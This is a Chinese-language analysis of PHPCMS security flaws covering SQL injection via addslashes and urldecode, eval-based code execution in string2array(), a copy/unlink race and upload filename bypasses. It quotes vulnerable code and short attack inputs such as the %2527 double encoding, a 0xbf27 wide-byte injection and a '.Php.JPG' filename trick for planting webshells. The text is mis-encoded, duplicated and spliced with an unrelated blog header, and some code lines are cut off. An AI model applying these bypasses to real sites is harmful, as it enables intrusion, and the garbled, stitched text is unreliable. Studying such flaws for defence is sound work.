從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
這段代碼中存在缺陷的地方就是將“猛獸”放進(jìn)市內的地方:
copy($_GET['src'],$_GET['dst']);
可將任意文件copy成惡意文件,如木馬,后來(lái)發(fā)現這個(gè)文件不安全,然后使用unlink將之刪除...,但是,有種可能就是木馬在刪除之前,生成了新的木馬文件,結果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令執行就是這個(gè)原理。首先上傳頭像,頭像的格式被壓縮為zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函數,首先被解壓,然后判斷為非jpg文件后刪除。攻擊者利用這個(gè)漏洞的過(guò)程中是將webshell保存為jpg中,構造后綴名突破jpg的限制,在文件被上傳解壓后,webshell執行在上層目錄生成一個(gè)新的webshell文件,由此觸發(fā)漏洞。
命令執行漏洞的威脅性極大,在任何代碼審計中,只要代碼中出現了eval,assert等這類(lèi)代碼執行函數后,都有可能出現代碼執行漏洞。并且猛獸理論也應該在被關(guān)注,這樣的邏輯在很多代碼中都會(huì )被用到,其解決的方法即應該在第一步的時(shí)候就處理風(fēng)險,不能將“猛獸放進(jìn)屋來(lái)”。
任意文件上傳漏洞、任意文件下載、任意文件讀取漏洞
這三類(lèi)漏洞是關(guān)于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上傳漏洞主要是因為文件上傳過(guò)程中,文件類(lèi)型的限制不嚴或者因為存在過(guò)濾限制繞過(guò),導致可以上傳一些可執行文件,最終GetShell。該類(lèi)漏洞與代碼執行很相似,最根本就是為了執行上傳文件中的惡意代碼。
其中PHPCMS v9 注冊頁(yè)面任意文件上傳漏洞和PHPCMS v9.6.1 后綴名提取導致任意文件上傳漏洞都是一種采用構造后綴名繞過(guò)限制過(guò)濾的漏洞。第一個(gè)漏洞中的正則要求輸入滿(mǎn)足src/href=url.(gif|jpg|jpeg|bmp|png),則構造的(
?。┓线@一格式(這也就是為什么后面要加.jpg的原因)。之后通過(guò)一系列處理,將.jpg去掉,那么最后文件的后綴就變成了.php成為了可執行文件。
而第二個(gè)漏洞中則因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));處理被繞過(guò),攻擊這可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php來(lái)繞過(guò)過(guò)濾,最終由于apache的文件名解析特性(可以去掉空格)導致上傳文件里php代碼最終被解析執行。所以該類(lèi)漏洞中,都是因為對文件名后綴缺少更嚴謹的處理,導致上傳可執行文件最終導致getshell。
PHPCMS
php抓取網(wǎng)頁(yè)數據插入數據庫 CMS真的安全嗎?洞鑒PHPCMS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 79 次瀏覽 ? 2022-06-11 10:13
什么是PHPCMS
說(shuō)到PHPCMS,就不得不先提一提CMS。CMS全稱(chēng)“Content Management System”,意為“內容管理系統”,內容管理系統是一種位于WEB 前端(Web 服務(wù)器)和后端辦公系統或流程(內容創(chuàng )作、編輯)之間的軟件系統。內容的創(chuàng )作人員、編輯人員、發(fā)布人員使用內容管理系統來(lái)提交、修改、審批、發(fā)布內容。
這里指的“內容”可能包括文件、表格、圖片、數據庫中的數據甚至視頻等一切你想要發(fā)布到Internet、Intranet以及Extranet網(wǎng)站的信息。內容管理還可選地提供內容抓取工具,將第三方信息來(lái)源,比如將文本文件、HTML網(wǎng)頁(yè)、Web服務(wù)、關(guān)系數據庫等的內容自動(dòng)抓取,并經(jīng)分析處理后放到自身的內容庫中。
隨著(zhù)個(gè)性化的發(fā)展,內容管理還輔助WEB前端將內容以個(gè)性化的方式提供給內容使用者,即提供個(gè)性化的門(mén)戶(hù)框架,以基于WEB技術(shù)將內容更好地推送到用戶(hù)的瀏覽器端。
PHPCMS由國內80后知名創(chuàng )業(yè)者鐘勝輝于2005年創(chuàng )辦,是國內知名內容管理系統,它是一款基于 PHP 技術(shù)和 AJAX 技術(shù)的企業(yè)級網(wǎng)站內容管理系統,旨在幫助用戶(hù)解決日益復雜與重要的 Web 內容的創(chuàng )建、維護、發(fā)布和應用。
PHPCMS的創(chuàng )立趕上了CMS蓬勃發(fā)展的時(shí)期,而且它將模塊化開(kāi)發(fā)方式做為功能開(kāi)發(fā)形式,框架易于功能擴展,代碼維護,優(yōu)秀的二次開(kāi)發(fā)能力,可滿(mǎn)足所有網(wǎng)站的應用需求,所以迅速占領(lǐng)了國內的內容管理系統領(lǐng)域的大片領(lǐng)土。
從2005年P(guān)HPCMS第一版創(chuàng )立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均贏(yíng)得了市場(chǎng)好評,最終在2010年盛大在線(xiàn)收購PHPCMS后,PHPCMS推出了主線(xiàn)產(chǎn)品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍為現在國內領(lǐng)先的內容管理系統,是各大站長(cháng)建站的首選。
根據全網(wǎng)數據統計,使用PHPCMS的網(wǎng)站多達4萬(wàn)多個(gè),其中大部分集中在國內,共有約3萬(wàn)余個(gè),占使用量的75%以上,同時(shí),PHPCMS在教育行業(yè)約有上千個(gè)網(wǎng)站使用,在政府部門(mén)的網(wǎng)站中,也有上百個(gè)網(wǎng)站使用,其他則用于商業(yè)用途,具體分布如下圖:
從圖中可以看出,PHPCMS的使用范圍較廣,其中在政府部門(mén)中不乏市縣級政府這樣的客戶(hù);教育行業(yè)內,也不乏國內大學(xué)的校級、院系官網(wǎng)使用PHPCMS作為其發(fā)布信息的官方主頁(yè);商業(yè)用途中,PHPCMS也備受中小型企業(yè)的青睞。
PHPCMS的版本更新迭代速度以及功能齊全等特性也為其快速擴張提供發(fā)展基礎。但是,PHPCMS安全嗎?
PHPCMS安全嗎?
根據千里目實(shí)驗室漏洞庫的統計,PHPCMS從創(chuàng )辦到如今近十三年,產(chǎn)品三大版本的漏洞總量高達100余個(gè),其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40個(gè),在40個(gè)漏洞之中,全網(wǎng)公布的高可利用性漏洞個(gè)數也高達兩位數,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直備受廣大用戶(hù)的質(zhì)疑。
經(jīng)過(guò)對PHPCMS高危漏洞的分析整理以及統計,PHPCMS的高危漏洞類(lèi)型主要有以下五類(lèi):SQL注入類(lèi)、命令執行類(lèi)、任意文件上傳類(lèi)、任意文件下載類(lèi)、任意文件讀取類(lèi)。其中SQL注入問(wèn)題是最為嚴重的一類(lèi),不管數量還是威脅性都是其中最高的,5類(lèi)漏洞的數量具體分布占比如下圖。接下來(lái)按照這些漏洞中威脅性最高的五類(lèi)漏洞來(lái)介紹PHPCMS的經(jīng)典漏洞,以及漏洞間的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架層面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入問(wèn)題比PHPCMS 2008要嚴重很多,這是為什么?
首先從PHPCMS的框架上分析了這個(gè)問(wèn)題的原因。PHPCMS2008中對GPC變量的處理, 是在
include/common.inc.php中使用$db->escape($_GET)對輸入變量進(jìn)行轉義,實(shí)質(zhì)上是調用了
mysql_real_escape_string,PHP手冊上對這個(gè)函數的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函數將 unescaped_string中的特殊字符轉義,并考慮到連接的當前字符集,因此可以安全用于 mysql_query()
也就是說(shuō)PHPCMS 2008中使用mysql_real_escape_string對輸入變量進(jìn)行處理,是可以達到防注入效果的,PHPCMS2008中這樣的處理方式是比較安全的,但是也有其不合理的一面,原因在于:入口中對所有變量進(jìn)行mysql_real_escape_string處理,顯然并不是所有變量需要入庫,這樣處理必須影響性能(連接mysql->發(fā)送變量至mysql server ->mysql server轉義->返回給PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其實(shí)就是調用了PHP內置的addslashes對GPC變量添加轉義斜線(xiàn),這就相當于php.ini中打開(kāi)了magic_quotes_gpc選項,PHP手冊中對magic_quotes_gpc的處理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
從PHP 5.4.0開(kāi)始,已經(jīng)不支持magic_quotes_gpc了,這是為什么?
(1)性能:由于并不是每一段被轉義的數據都要插入數據庫的,如果所有進(jìn)入 PHP 的數據都被轉義的話(huà),那么會(huì )對程序的執行效率產(chǎn)生一定的影響。
(2)方便性:由于不是所有數據都需要轉義,在不需要轉義的地方看到轉義的數據就很煩。比如說(shuō)通過(guò)表單發(fā)送郵件,結果看到一大堆的 \'。
(3)安全問(wèn)題:事實(shí)上addslashes或開(kāi)啟magic_quotes_gpc并不能完全杜絕SQL注入。因為addslashes對有些特殊字符后跟上'(單引號)并不會(huì )加把這個(gè)'變成/',如:0xbf27的字就不會(huì ),所以縗' OR 1 limit 1/* 這個(gè)就存在。
針對這個(gè)問(wèn)題,PDO擴展而生,它主要解決兩個(gè)問(wèn)題:批量查詢(xún)時(shí)使用prepare提升查詢(xún)性能,使用參數化查詢(xún)從根本上杜絕SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依舊使用以下代碼,所這就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞層面分析
從具體的漏洞來(lái)看,PHPCMS代碼中出現的SQL注入點(diǎn)主要有三種情況:
第一種情況,即外部可控參數未進(jìn)行任何過(guò)濾,這種問(wèn)題是因為系統設計人員代碼設計的不嚴謹導致。其中最經(jīng)典的PHPCMS v9 前臺用戶(hù)登錄處SQL注入漏洞產(chǎn)生即是因為這個(gè)原因:用戶(hù)在登錄頁(yè)面輸入用戶(hù)名與密碼,在\phpcms\modules\member\index.php的login方法中,username使用的is_username進(jìn)行了過(guò)濾而password沒(méi)有做任何處理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陸js代碼
所以,Password就成為了一個(gè)注入點(diǎn)。輸入的username以及password被傳到phpsso模塊中進(jìn)行認證,而phpsso模塊并沒(méi)有解析過(guò)濾用戶(hù)名與密碼就直接進(jìn)行認證,認證后直接將信息返回到登錄頁(yè)面的login方法中。
第二種情況也是SQL注入中的經(jīng)典情形,即代碼中處理外部輸入數據的時(shí)候使用了urldecode()函數。比如單引號被 urlencode 兩次以后是 %2527,然后 POST。PHP 內部在生成全局變量 $_POST 的時(shí)候會(huì )先 urldecode,得到 %27,然后 PHP 會(huì )檢查 Magic Quotes 的設置,但是無(wú)論是否開(kāi)啟 Magic Quotes,%27 都不會(huì )被 addslashes,因為這時(shí)根本沒(méi)有單引號。
但是這時(shí)如果你在 PHP 代碼中畫(huà)蛇添足的加上 urldecode,%27就變成單引號了,這樣就成功繞過(guò)了,這種情況出現的根源在于之前分析的PHPCMS使用magic_quotes_gpc這種方式來(lái)處理外部數據。
PHPCMS V9 WAP SQL注入漏洞即是因為這種情況:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('參數錯誤');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
這段代碼中在處理外部可控參數commentid的時(shí)候,使用了urldecode()函數,最終可以采用%2527的方式來(lái)進(jìn)行過(guò)濾繞過(guò)。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id傳入sql查詢(xún)語(yǔ)句
在函數中,代碼通過(guò)GET獲取'a_k'值,并調用sys_auth函數進(jìn)行解密,然后使用parse_str()來(lái)解析解密后的$a_k參數,將字符串解析到變量中,并同時(shí)解碼。在parse_str()解析的過(guò)程中,就將之前構造好的SQL注入paylaod賦值到各個(gè)參數,并且繞過(guò)了所有限制。
這個(gè)漏洞利用還有另一個(gè)關(guān)口,就是需要將payload使用sys_auth加密,同樣,PHPCMS一個(gè)任意文件下載漏洞也是這個(gè)原理:構造payload—>sys_auth加密—>帶入到phpcms\modules\content\
down.php文件init函數中—>進(jìn)行解碼并parse_str()解析,payload通過(guò)這種方式可以繞過(guò)所有過(guò)濾關(guān)口,最終成功觸發(fā)。
從之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入問(wèn)題就在于程序員對待代碼邏輯的不嚴謹,缺少對外部可控參數的過(guò)濾或者說(shuō)是缺少完全的過(guò)濾驗證過(guò)程,PHP是很靈活的語(yǔ)言,其代碼的邏輯嚴謹程度即代表著(zhù)它的安全性高低!
命令執行漏洞
命令執行是一類(lèi)威脅性非常大的漏洞類(lèi)型,大多數“一鍋端”(能夠getshell,控制全站)漏洞都是命令執行漏洞。由之前的漏洞數量分布可知,命令執行問(wèn)題的數量?jì)H次于SQL注入,但是它的嚴重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令執行漏洞大部分都是由于一個(gè)函數,即global.func.php中的string2array()函數,函數代碼如下:
/**
* 將字符串轉換為數組
*
* @param string $data 字符串
* @return array 返回數組格式,如果,data為空,則返回空數組
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");
}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
該函數中使用了eval函數,這就代表所有調用這個(gè)函數的地方,如果存在過(guò)濾不嚴的情況,都會(huì )出現嚴重的命令執行漏洞。當然,我們不用懷疑程序員寫(xiě)BUG的能力,PHPCMS中多個(gè)命令執行漏洞都是因為外部參數未進(jìn)行嚴格過(guò)濾,就直接帶進(jìn)了string2array()中進(jìn)行處理,所以最終觸發(fā)了漏洞。
其中最經(jīng)典的一個(gè)漏洞PHPCMS 2008任意代碼執行漏洞,該漏洞利用門(mén)檻之低讓人大跌眼鏡,漏洞的出處就在yp/web/include/common.inc.php的menu變量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu參數是一個(gè)外部可控參數,該參數被被傳進(jìn)后臺之后未經(jīng)過(guò)任何處理以及限制,導致在string2array()函數中直接被eval函數執行,導致遠程代碼執行漏洞。
而這個(gè)函數從PHPCMS 2008到PHPCMS V9一直都存在,而該系統程序員也只是在之后每一個(gè)調用此函數的地方都先對傳入參數進(jìn)行過(guò)濾或者限制,但是任何過(guò)濾限制都有被繞過(guò)的可能,之后的事實(shí)證明確實(shí)如此,比如之后再V9版本出現的PHPCMS V9 phpcms\
modules\dbsource\data.php出現的遠程命令執行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代碼執行漏洞等均是因為這個(gè)原因。
所以,防止PHP程序出現代碼執行漏洞有一條金科玉律:永遠不要在代碼中使用eval。
因為,很少有人能夠掌控住這個(gè)函數,一旦控制不住,可能就會(huì )出現一個(gè)“一鍋端”的命令執行漏洞。
另外PHPCMS中出現的一個(gè)PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代碼執行漏洞,它的思想很特別、也很典型。該漏洞中存在的一個(gè)猛獸理論值得很多程序員以及安全研究人員來(lái)認真研究的?!懊瞳F來(lái)了,我們應該將其絕殺在門(mén)外,但是有些人非得把它放進(jìn)屋內,才殺之,你們難道不知道猛獸的嘴里可能叼了一個(gè)炸藥包嗎? 砰!!!結果全都玩完了…”。下面用具體代碼來(lái)解釋這個(gè)理論。
其中:
猛獸放進(jìn)室內:copy($_GET['src'],$_GET['dst']);
這條猛獸不安全,殺之:unlink($_GET['dst']);
炸藥包:$_GET['dst'] 此炸藥包的作用是生成惡意文件。
